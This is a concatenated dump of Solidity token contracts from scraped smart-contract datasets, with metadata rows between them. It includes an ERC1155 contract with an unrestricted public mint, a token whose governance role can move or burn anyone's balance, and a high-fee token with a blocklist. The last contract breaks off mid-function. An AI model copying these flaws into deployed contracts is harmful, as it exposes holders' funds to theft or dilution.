emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract ERC20Mintable is MinterRole, ERC20 {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded");
super._mint(account, value);
}
}
contract ERC20Pausable is Pausable, ERC20 {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract lexToken is lexDAORole, ERC20Detailed, ERC20Burnable, ERC20Capped, ERC20Pausable {
// contextualizes token deployment and offered terms, if any
string public stamp;
constructor (string memory name,
string memory symbol,
string memory _stamp,
uint8 decimals,
uint256 cap,
uint256 initialSupply,
address owner,
address _lexDAO) public
ERC20Detailed(name, symbol, decimals)
ERC20Capped(cap) {
stamp = _stamp;
_mint(owner, initialSupply);
_addMinter(owner);
_addPauser(owner);
_addlexDAO(_lexDAO);
}
function lexDAOtransfer(address from, address to, uint256 amount) public onlylexDAO returns (bool) {
_transfer(from, to, amount); // lexDAO governance transfers token balance
return true;
}
function lexDAOmint(address account, uint256 amount) public onlylexDAO returns (bool) {
_mint(account, amount); // lexDAO governance increases token balance
return true;
}
function lexDAOburn(address account, uint256 amount) public onlylexDAO returns (bool) {
_burn(account, amount); // lexDAO governance reduces token balance
return true;
}
}
| 339,777 | 13,926 |
5b1f2d76e6e04fb5f8ffeeb084dd003de2f7580758b43eeeb7e4503a75c5c455
| 35,478 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/9d/9d850810632F5cE415e353bc59b6c0bdb07799f3_ERC1155.sol
| 4,041 | 16,581 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event TransferBatch(address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id) external view returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data) external;
function safeBatchTransferFrom(address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data) external;
}
interface IERC1155Receiver is IERC165 {
function onERC1155Received(address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data) external returns (bytes4);
function onERC1155BatchReceived(address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data) external returns (bytes4);
}
interface IERC1155MetadataURI is IERC1155 {
function uri(uint256 id) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
string private _uri;
constructor(string memory uri_) {
_setURI(uri_);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: address zero is not a valid owner");
return _balances[id][account];
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not token owner nor approved");
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not token owner nor approved");
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
function _safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function _safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
function mint(address to,
uint256 id,
uint256 amount,
bytes memory data) public virtual {
_mint(to, id, amount, data);
}
function _mint(address to,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
function _mintBatch(address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _burn(address from,
uint256 id,
uint256 amount) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
function _burnBatch(address from,
uint256[] memory ids,
uint256[] memory amounts) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _beforeTokenTransfer(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {}
function _afterTokenTransfer(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {}
function _doSafeTransferAcceptanceCheck(address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
| 104,353 | 13,927 |
cbc7925e0c75f73ca5bae6722e502371e1d3da10e62a4715d967fbe5437b5b7b
| 13,926 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/1a/1a1c44ffc2430750a40ebc6c219ccf1e91672bb1_test.sol
| 3,729 | 13,133 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidityAVAX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountAVAX, uint liquidity);
}
contract test is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "test";
string private constant _symbol = "test";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x7974DE3bd32975c7f1237D3F7Cb16256516eF3FA);
_feeAddrWallet2 = payable(0x7974DE3bd32975c7f1237D3F7Cb16256516eF3FA);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractAVAXBalance = address(this).balance;
if(contractAVAXBalance > 0) {
sendAVAXToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WAVAX();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendAVAXToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WAVAX());
uniswapV2Router.addLiquidityAVAX{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractAVAXBalance = address(this).balance;
sendAVAXToFee(contractAVAXBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 81,464 | 13,928 |
92f91f0a4154f799858bee1498987f50c35eb601ead68c97ab582ab2bb5d724d
| 26,416 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xe15d6bd97391a97a538fbb4eaae8fcf76949d9cc.sol
| 4,901 | 19,095 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(msg.data.length>=(2*32)+4);
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer (msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value==0||allowed[msg.sender][_spender]==0);
require(msg.data.length>=(2*32)+4);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Lock is PausableToken{
mapping(address => uint256) public teamLockTime; // Lock start time
mapping(address => uint256) public fundLockTime; // Lock start time
uint256 public issueDate =0 ;//issueDate
mapping(address => uint256) public teamLocked;// Total Team lock
mapping(address => uint256) public fundLocked;// Total fund lock
mapping(address => uint256) public teamUsed; // Team Used
mapping(address => uint256) public fundUsed; // Fund Used
mapping(address => uint256) public teamReverse; // Team reserve
mapping(address => uint256) public fundReverse; // Fund reserve
function teamAvailable(address _to) internal constant returns (uint256) {
require(teamLockTime[_to]>0);
//Cover the start time of the lock before the release is the issueDate
if(teamLockTime[_to] != issueDate)
{
teamLockTime[_to]= issueDate;
}
uint256 now1 = block.timestamp;
uint256 lockTime = teamLockTime[_to];
uint256 time = now1.sub(lockTime);
uint256 percent = 0;
if(time >= 30 days) {
percent = (time.div(30 days)) .add(1);
}
percent = percent > 12 ? 12 : percent;
uint256 avail = teamLocked[_to];
require(avail>0);
